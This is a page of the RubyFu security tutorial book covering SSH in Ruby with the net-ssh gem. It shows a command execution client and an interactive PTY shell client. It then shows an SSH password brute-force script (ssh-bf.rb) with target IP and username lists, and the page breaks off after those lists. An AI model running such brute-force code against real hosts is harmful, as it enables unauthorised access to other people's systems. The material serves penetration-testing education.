<!DOCTYPE HTML>
<html lang="en" >
    
    <head>
        
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <title>SSH | RubyFu</title>
        <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
        <meta name="description" content="">
        <meta name="generator" content="GitBook 2.6.2">
        
        
        <meta name="HandheldFriendly" content="true"/>
        <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
        <meta name="apple-mobile-web-app-capable" content="yes">
        <meta name="apple-mobile-web-app-status-bar-style" content="black">
        <link rel="apple-touch-icon-precomposed" sizes="152x152" href="../gitbook/images/apple-touch-icon-precomposed-152.png">
        <link rel="shortcut icon" href="../gitbook/images/favicon.ico" type="image/x-icon">
        
    <link rel="stylesheet" href="../gitbook/style.css">
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-anchors/plugin.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-splitter/splitter.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-expandable-chapters/expandable-chapters.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-highlight/website.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-search/search.css">
        
    
        
        <link rel="stylesheet" href="../gitbook/plugins/gitbook-plugin-fontsettings/website.css">
        
    
    
        <link rel="stylesheet" href="../styles/website.css">
    

        
    
    
    <link rel="next" href="../module_0x2__system_kung_fu/email.html" />
    
    
    <link rel="prev" href="../module_0x3__network_kung_fu/ftp.html" />
    

        <script type="text/javascript" src="../styles/header.js"></script>
    </head>
    <body>
        
        
    <div class="book"
        data-level="3.4"
        data-chapter-title="SSH"
        data-filepath="module_0x3__network_kung_fu/ssh.md"
        data-basepath=".."
        data-revision="Wed Jan 27 2016 09:00:51 GMT+0300 (AST)"
        data-innerlanguage="">
    

<div class="book-summary">
    <nav role="navigation">
        <ul class="summary">
            
            
            
            

            

            
    
        <li class="chapter " data-level="0" data-path="index.html">
            
                
                    <a href="../index.html">
                
                        <i class="fa fa-check"></i>
                        
                        Module 0x0 | Introduction
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="0.1" data-path="contribution.html">
            
                
                    <a href="../contribution.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>0.1.</b>
                        
                        Contribution
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="0.2" data-path="beginners.html">
            
                
                    <a href="../beginners.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>0.2.</b>
                        
                        Beginners
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="0.3" data-path="required_gems.html">
            
                
                    <a href="../required_gems.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>0.3.</b>
                        
                        Required Gems
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1" data-path="module_0x1__basic_ruby_kung_fu/index.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.</b>
                        
                        Module 0x1 | Basic Ruby Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.1" data-path="module_0x1__basic_ruby_kung_fu/string.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/string.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.1.</b>
                        
                        String
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="1.1.1" data-path="module_0x1__basic_ruby_kung_fu/conversion.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/conversion.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.1.1.</b>
                        
                        Conversion
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="1.1.2" data-path="module_0x1__basic_ruby_kung_fu/extraction.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/extraction.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.1.2.</b>
                        
                        Extraction
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="1.2" data-path="module_0x1__basic_ruby_kung_fu/array.html">
            
                
                    <a href="../module_0x1__basic_ruby_kung_fu/array.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>1.2.</b>
                        
                        Array
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="2" data-path="module_0x2__system_kung_fu/index.html">
            
                
                    <a href="../module_0x2__system_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.</b>
                        
                        Module 0x2 | System Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="2.1" data-path="module_0x2__system_kung_fu/command_execution.html">
            
                
                    <a href="../module_0x2__system_kung_fu/command_execution.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.1.</b>
                        
                        Command Execution
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="2.2" data-path="module_0x2__system_kung_fu/file_manipulation.html">
            
                
                    <a href="../module_0x2__system_kung_fu/file_manipulation.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.2.</b>
                        
                        File manipulation
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="2.2.1" data-path="module_0x2__system_kung_fu/parsing_html,_xml,_json.html">
            
                
                    <a href="../module_0x2__system_kung_fu/parsing_html,_xml,_json.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.2.1.</b>
                        
                        Parsing HTML, XML, JSON
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="2.3" data-path="module_0x2__system_kung_fu/cryptography.html">
            
                
                    <a href="../module_0x2__system_kung_fu/cryptography.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.3.</b>
                        
                        Cryptography
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="2.4" data-path="module_0x2__system_kung_fu/system_shell.html">
            
                
                    <a href="../module_0x2__system_kung_fu/system_shell.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.4.</b>
                        
                        Remote Shell
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="2.4.1" data-path="module_0x2__system_kung_fu/ncatrb.html">
            
                
                    <a href="../module_0x2__system_kung_fu/ncatrb.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.4.1.</b>
                        
                        Ncat.rb
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="2.4.2" data-path="module_0x2__system_kung_fu/rce_as_a_service.html">
            
                
                    <a href="../module_0x2__system_kung_fu/rce_as_a_service.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.4.2.</b>
                        
                        RCE as a Service
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="2.5" data-path="module_0x2__system_kung_fu/virustotal.html">
            
                
                    <a href="../module_0x2__system_kung_fu/virustotal.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>2.5.</b>
                        
                        VirusTotal
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3" data-path="module_0x3__network_kung_fu/index.html">
            
                
                    <a href="../module_0x3__network_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.</b>
                        
                        Module 0x3 | Network Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.1" data-path="module_0x3__network_kung_fu/ruby_socket.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ruby_socket.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.1.</b>
                        
                        Ruby Socket
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.2" data-path="module_0x3__network_kung_fu/ssid_finder.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ssid_finder.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.2.</b>
                        
                        SSID Finder
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.3" data-path="module_0x3__network_kung_fu/ftp.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ftp.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.3.</b>
                        
                        FTP
                    </a>
            
            
        </li>
    
        <li class="chapter active" data-level="3.4" data-path="module_0x3__network_kung_fu/ssh.html">
            
                
                    <a href="../module_0x3__network_kung_fu/ssh.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.4.</b>
                        
                        SSH
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.5" data-path="module_0x2__system_kung_fu/email.html">
            
                
                    <a href="../module_0x2__system_kung_fu/email.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.5.</b>
                        
                        Email
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.5.1" data-path="module_0x2__system_kung_fu/smtp_enumeration.html">
            
                
                    <a href="../module_0x2__system_kung_fu/smtp_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.5.1.</b>
                        
                        SMTP Enumeration
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3.6" data-path="module_0x3__network_kung_fu/network_scanning.html">
            
                
                    <a href="../module_0x3__network_kung_fu/network_scanning.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.6.</b>
                        
                        Network Scanning
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.6.1" data-path="module_0x3__network_kung_fu/nmap.html">
            
                
                    <a href="../module_0x3__network_kung_fu/nmap.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.6.1.</b>
                        
                        Nmap
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3.7" data-path="module_0x3__network_kung_fu/dns.html">
            
                
                    <a href="../module_0x3__network_kung_fu/dns.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.7.</b>
                        
                        DNS
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.7.1" data-path="module_0x3__network_kung_fu/dns_enumeration.html">
            
                
                    <a href="../module_0x3__network_kung_fu/dns_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.7.1.</b>
                        
                        DNS Enumeration
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="3.8" data-path="module_0x3__network_kung_fu/snmp_enumeration.html">
            
                
                    <a href="../module_0x3__network_kung_fu/snmp_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.8.</b>
                        
                        SNMP Enumeration
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.9" data-path="module_0x3__network_kung_fu/tns_enumeration.html">
            
                
                    <a href="../module_0x3__network_kung_fu/tns_enumeration.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.9.</b>
                        
                        Oracle TNS Enumeration
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.10" data-path="module_0x3__network_kung_fu/packet_manipulation.html">
            
                
                    <a href="../module_0x3__network_kung_fu/packet_manipulation.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.10.</b>
                        
                        Packet manipulation
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="3.10.1" data-path="module_0x3__network_kung_fu/arp_spoofing.html">
            
                
                    <a href="../module_0x3__network_kung_fu/arp_spoofing.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.10.1.</b>
                        
                        ARP Spoofing
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="3.10.2" data-path="module_0x3__network_kung_fu/dns_spoofing.html">
            
                
                    <a href="../module_0x3__network_kung_fu/dns_spoofing.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>3.10.2.</b>
                        
                        DNS Spoofing
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="4" data-path="module_0x4__web_kung_fu/index.html">
            
                
                    <a href="../module_0x4__web_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.</b>
                        
                        Module 0x4 | Web Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="4.1" data-path="module_0x4__web_kung_fu/sql_injection_scanner.html">
            
                
                    <a href="../module_0x4__web_kung_fu/sql_injection_scanner.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.1.</b>
                        
                        SQL Injection Scanner
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.2" data-path="module_0x4__web_kung_fu/databases.html">
            
                
                    <a href="../module_0x4__web_kung_fu/databases.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.2.</b>
                        
                        Databases
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.3" data-path="module_0x4__web_kung_fu/extending_burpsuite.html">
            
                
                    <a href="../module_0x4__web_kung_fu/extending_burpsuite.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.3.</b>
                        
                        Extending Burp Suite
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.4" data-path="module_0x4__web_kung_fu/browser_manipulation.html">
            
                
                    <a href="../module_0x4__web_kung_fu/browser_manipulation.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.4.</b>
                        
                        Browser Manipulation
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.5" data-path="module_0x4__web_kung_fu/web_servcies_and_apis.html">
            
                
                    <a href="../module_0x4__web_kung_fu/web_servcies_and_apis.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.</b>
                        
                        Web Services and APIs
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="4.5.1" data-path="module_0x4__web_kung_fu/web_services.html">
            
                
                    <a href="../module_0x4__web_kung_fu/web_services.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.1.</b>
                        
                        Interacting with Web Services
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.5.2" data-path="module_0x4__web_kung_fu/interacting_with_apis.html">
            
                
                    <a href="../module_0x4__web_kung_fu/interacting_with_apis.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.2.</b>
                        
                        Interacting with APIs
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="4.5.2.1" data-path="module_0x4__web_kung_fu/wordpress_api.html">
            
                
                    <a href="../module_0x4__web_kung_fu/wordpress_api.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.2.1.</b>
                        
                        WordPress API
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.5.2.2" data-path="module_0x4__web_kung_fu/twitter_api.html">
            
                
                    <a href="../module_0x4__web_kung_fu/twitter_api.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.5.2.2.</b>
                        
                        Twitter API
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="4.6" data-path="module_0x4__web_kung_fu/ruby2javascript.html">
            
                
                    <a href="../module_0x4__web_kung_fu/ruby2javascript.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.6.</b>
                        
                        Ruby 2 JavaScript
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="4.7" data-path="module_0x4__web_kung_fu/web_server_and_proxy.html">
            
                
                    <a href="../module_0x4__web_kung_fu/web_server_and_proxy.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>4.7.</b>
                        
                        Web Server and Proxy
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="5" data-path="module_0x5__exploitation_kung_fu/index.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.</b>
                        
                        Module 0x5 | Exploitation Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="5.1" data-path="module_0x5__exploitation_kung_fu/fuzzer.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/fuzzer.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.1.</b>
                        
                        Fuzzer
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2" data-path="module_0x5__exploitation_kung_fu/metasploit.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/metasploit.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.</b>
                        
                        Metasploit
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="5.2.1" data-path="module_0x5__exploitation_kung_fu/auxiliary_module.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/auxiliary_module.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.1.</b>
                        
                        Auxiliary module
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.2" data-path="module_0x5__exploitation_kung_fu/exploit_module.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/exploit_module.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.2.</b>
                        
                        Exploit module
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.3" data-path="module_0x5__exploitation_kung_fu/meterpreter.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/meterpreter.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.</b>
                        
                        Meterpreter
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="5.2.3.1" data-path="module_0x5__exploitation_kung_fu/extensions.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/extensions.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.1.</b>
                        
                        API and Extensions
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.3.2" data-path="module_0x5__exploitation_kung_fu/meterpreter_scripting.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/meterpreter_scripting.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.2.</b>
                        
                        Meterpreter Scripting
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="5.2.3.3" data-path="module_0x5__exploitation_kung_fu/railgun_api_extension.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/railgun_api_extension.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.2.3.3.</b>
                        
                        Railgun API Extension
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="5.3" data-path="module_0x5__exploitation_kung_fu/metasm.html">
            
                
                    <a href="../module_0x5__exploitation_kung_fu/metasm.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>5.3.</b>
                        
                        metasm
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="6" data-path="module_0x6__forensic/index.html">
            
                
                    <a href="../module_0x6__forensic/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.</b>
                        
                        Module 0x6 | Forensic Kung Fu
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="6.1" data-path="module_0x6__forensic/windows_forensic.html">
            
                
                    <a href="../module_0x6__forensic/windows_forensic.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.1.</b>
                        
                        Windows Forensic
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="6.2" data-path="module_0x6__forensic/android_forensic.html">
            
                
                    <a href="../module_0x6__forensic/android_forensic.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.2.</b>
                        
                        Android Forensic
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="6.3" data-path="module_0x3__network_kung_fu/network_traffic_analysis.html">
            
                
                    <a href="../module_0x3__network_kung_fu/network_traffic_analysis.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.3.</b>
                        
                        Network Traffic Analysis
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="6.4" data-path="module_0x6__forensic/parsing_log_files.html">
            
                
                    <a href="../module_0x6__forensic/parsing_log_files.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>6.4.</b>
                        
                        Parsing Log Files
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    
        <li class="chapter " data-level="7" data-path="references/index.html">
            
                
                    <a href="../references/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>7.</b>
                        
                        References
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="8" data-path="faqs/index.html">
            
                
                    <a href="../faqs/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>8.</b>
                        
                        FAQs
                    </a>
            
            
        </li>
    
        <li class="chapter " data-level="9" data-path="contributors/index.html">
            
                
                    <a href="../contributors/index.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>9.</b>
                        
                        Contributors
                    </a>
            
            
            <ul class="articles">
                
    
        <li class="chapter " data-level="9.1" data-path="contributors/todo.html">
            
                
                    <a href="../contributors/todo.html">
                
                        <i class="fa fa-check"></i>
                        
                            <b>9.1.</b>
                        
                        TODO
                    </a>
            
            
        </li>
    

            </ul>
            
        </li>
    


            
            <li class="divider"></li>
            <li>
                <a href="https://www.gitbook.com" target="blank" class="gitbook-link">
                    Published with GitBook
                </a>
            </li>
            
        </ul>
    </nav>
</div>

    <div class="book-body">
        <div class="body-inner">
            <div class="book-header" role="navigation">
    <!-- Actions Left -->
    

    <!-- Title -->
    <h1>
        <i class="fa fa-circle-o-notch fa-spin"></i>
        <a href="../" >RubyFu</a>
    </h1>
</div>

            <div class="page-wrapper" tabindex="-1" role="main">
                <div class="page-inner">
                
                
                    <section class="normal" id="section-">
                    
                        <h1 id="ssh"><a name="ssh" class="plugin-anchor" href="#ssh"><span class="fa fa-link"></span></a>SSH</h1>
<p>Here we&apos;ll show some SSH using ruby. We&apos;ll need to install net-ssh gem for that.</p>
<ul>
<li>To install net-ssh<pre><code>gem install net-ssh
</code></pre></li>
</ul>
<h2 id="simple-ssh-command-execution"><a name="simple-ssh-command-execution" class="plugin-anchor" href="#simple-ssh-command-execution"><span class="fa fa-link"></span></a>Simple SSH command execution</h2>
<p>This is a very basic SSH client which sends and executes commands on a remote system </p>
<pre><code class="lang-ruby"><span class="hljs-comment">#!/usr/bin/env ruby</span>
<span class="hljs-comment"># KING SABRI | <span class="hljs-doctag">@KINGSABRI</span></span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&apos;net/ssh&apos;</span>

<span class="hljs-variable">@hostname</span> = <span class="hljs-string">&quot;localhost&quot;</span>
<span class="hljs-variable">@username</span> = <span class="hljs-string">&quot;root&quot;</span>
<span class="hljs-variable">@password</span> = <span class="hljs-string">&quot;password&quot;</span>
<span class="hljs-variable">@cmd</span> = <span class="hljs-constant">ARGV</span>[<span class="hljs-number">0</span>]

<span class="hljs-keyword">begin</span>
  ssh = <span class="hljs-constant">Net::SSH</span>.start(<span class="hljs-variable">@hostname</span>, <span class="hljs-variable">@username</span>, <span class="hljs-symbol">:password</span> =&gt; <span class="hljs-variable">@password</span>)
  res = ssh.exec!(<span class="hljs-variable">@cmd</span>)
  ssh.close
  puts res
<span class="hljs-keyword">rescue</span>
  puts <span class="hljs-string">&quot;Unable to connect to <span class="hljs-subst">#{<span class="hljs-variable">@hostname</span>}</span> using <span class="hljs-subst">#{<span class="hljs-variable">@username</span>}</span>/<span class="hljs-subst">#{<span class="hljs-variable">@password</span>}</span>&quot;</span>
<span class="hljs-keyword">end</span>
</code></pre>
<h2 id="ssh-client-with-pty-shell"><a name="ssh-client-with-pty-shell" class="plugin-anchor" href="#ssh-client-with-pty-shell"><span class="fa fa-link"></span></a>SSH Client with PTY shell</h2>
<p>Here a simple SSH client which give you an interactive PTY</p>
<pre><code class="lang-ruby"><span class="hljs-comment">#!/usr/bin/env ruby</span>
<span class="hljs-comment"># KING SABRI | <span class="hljs-doctag">@KINGSABRI</span></span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&apos;net/ssh&apos;</span>

<span class="hljs-variable">@hostname</span> = <span class="hljs-string">&quot;localhost&quot;</span>
<span class="hljs-variable">@username</span> = <span class="hljs-string">&quot;root&quot;</span>
<span class="hljs-variable">@password</span> = <span class="hljs-string">&quot;password&quot;</span>

<span class="hljs-constant">Net::SSH</span>.start(<span class="hljs-variable">@hostname</span>, <span class="hljs-variable">@username</span>, <span class="hljs-symbol">:password</span> =&gt; <span class="hljs-variable">@password</span>, <span class="hljs-symbol">:auth_methods</span> =&gt; [<span class="hljs-string">&quot;password&quot;</span>]) <span class="hljs-keyword">do</span> |session|

  <span class="hljs-comment"># Open SSH channel </span>
  session.open_channel <span class="hljs-keyword">do</span> |channel|

    <span class="hljs-comment"># Requests that a pseudo-tty (or &quot;pty&quot;) for interactive application-like (e.g vim, sudo, etc)</span>
    channel.request_pty <span class="hljs-keyword">do</span> |ch, success| 
      raise <span class="hljs-string">&quot;Error requesting pty&quot;</span> <span class="hljs-keyword">unless</span> success 

      <span class="hljs-comment"># Request channel type shell</span>
      ch.send_channel_request(<span class="hljs-string">&quot;shell&quot;</span>) <span class="hljs-keyword">do</span> |ch, success| 
        raise <span class="hljs-string">&quot;Error opening shell&quot;</span> <span class="hljs-keyword">unless</span> success
        <span class="hljs-constant">STDOUT</span>.puts <span class="hljs-string">&quot;[+] Getting Remote Shell\n\n&quot;</span> <span class="hljs-keyword">if</span> success
      <span class="hljs-keyword">end</span>
    <span class="hljs-keyword">end</span>

    <span class="hljs-comment"># Print STDERR of the remote host to my STDOUT</span>
    channel.on_extended_data <span class="hljs-keyword">do</span> |ch, type, data|
      <span class="hljs-constant">STDOUT</span>.puts <span class="hljs-string">&quot;Error: <span class="hljs-subst">#{data}</span>\n&quot;</span>
    <span class="hljs-keyword">end</span>

    <span class="hljs-comment"># When data packets are received by the channel</span>
    channel.on_data <span class="hljs-keyword">do</span> |ch, data|
      <span class="hljs-constant">STDOUT</span>.print data
      cmd = gets
      channel.send_data( <span class="hljs-string">&quot;<span class="hljs-subst">#{cmd}</span>&quot;</span> ) 
      trap(<span class="hljs-string">&quot;INT&quot;</span>) {<span class="hljs-constant">STDOUT</span>.puts <span class="hljs-string">&quot;Use &apos;exit&apos; or &apos;logout&apos; command to exit the session&quot;</span>}
    <span class="hljs-keyword">end</span>

    channel.on_eof <span class="hljs-keyword">do</span> |ch|
      puts <span class="hljs-string">&quot;Exiting SSH Session..&quot;</span>
    <span class="hljs-keyword">end</span>

    session.loop
  <span class="hljs-keyword">end</span>
<span class="hljs-keyword">end</span>
</code></pre>
<h2 id="ssh-brute-force"><a name="ssh-brute-force" class="plugin-anchor" href="#ssh-brute-force"><span class="fa fa-link"></span></a>SSH brute force</h2>
<p><strong>ssh-bf.rb</strong></p>
<pre><code class="lang-ruby"><span class="hljs-comment">#!/usr/bin/env ruby</span>
<span class="hljs-comment"># KING SABRI | <span class="hljs-doctag">@KINGSABRI</span></span>
<span class="hljs-comment">#</span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&apos;net/ssh&apos;</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">attack_ssh</span><span class="hljs-params">(host, user, password, port=<span class="hljs-number">22</span>, timeout = <span class="hljs-number">5</span>)</span></span>
  <span class="hljs-keyword">begin</span>
    <span class="hljs-constant">Net::SSH</span>.start(host, user, <span class="hljs-symbol">:password</span> =&gt; password, 
                   <span class="hljs-symbol">:auth_methods</span> =&gt; [<span class="hljs-string">&quot;password&quot;</span>], <span class="hljs-symbol">:port</span> =&gt; port, 
                   <span class="hljs-symbol">:paranoid</span> =&gt; <span class="hljs-keyword">false</span>, <span class="hljs-symbol">:non_interactive</span> =&gt; <span class="hljs-keyword">true</span>, <span class="hljs-symbol">:timeout</span> =&gt; timeout ) <span class="hljs-keyword">do</span> |session|
      puts <span class="hljs-string">&quot;Password Found: &quot;</span> + <span class="hljs-string">&quot;<span class="hljs-subst">#{host}</span> | <span class="hljs-subst">#{user}</span>:<span class="hljs-subst">#{password}</span>&quot;</span> 
    <span class="hljs-keyword">end</span>

  <span class="hljs-keyword">rescue</span> <span class="hljs-constant">Net::SSH::ConnectionTimeout</span>
    puts <span class="hljs-string">&quot;[!] The host &apos;<span class="hljs-subst">#{host}</span>&apos; not alive!&quot;</span>
  <span class="hljs-keyword">rescue</span> <span class="hljs-constant">Net::SSH::Timeout</span>
    puts <span class="hljs-string">&quot;[!] The host &apos;<span class="hljs-subst">#{host}</span>&apos; disconnected/timeouted unexpectedly!&quot;</span>
  <span class="hljs-keyword">rescue</span> <span class="hljs-constant">Errno::ECONNREFUSED</span>
    puts <span class="hljs-string">&quot;[!] Incorrect port <span class="hljs-subst">#{port}</span> for <span class="hljs-subst">#{host}</span>&quot;</span>
  <span class="hljs-keyword">rescue</span> <span class="hljs-constant">Net::SSH::AuthenticationFailed</span>
    puts <span class="hljs-string">&quot;Wrong Password: <span class="hljs-subst">#{host}</span> | <span class="hljs-subst">#{user}</span>:<span class="hljs-subst">#{password}</span>&quot;</span> 
  <span class="hljs-keyword">rescue</span> <span class="hljs-constant">Net::SSH::Authentication::DisallowedMethod</span>
    puts <span class="hljs-string">&quot;[!] The host &apos;<span class="hljs-subst">#{host}</span>&apos; doesn&apos;t accept password authentication method.&quot;</span>
  <span class="hljs-keyword">end</span>
<span class="hljs-keyword">end</span>


hosts = [<span class="hljs-string">&apos;192.168.0.1&apos;</span>, <span class="hljs-string">&apos;192.168.0.4&apos;</span>, <span class="hljs-string">&apos;192.168.0.50&apos;</span>]
users = [<span class="hljs-string">&apos;root&apos;</span>, <span class="hljs-string">&apos;admin&apos;</span>, <span class="hljs-string">&apos;rubyfu&apos;</span>]
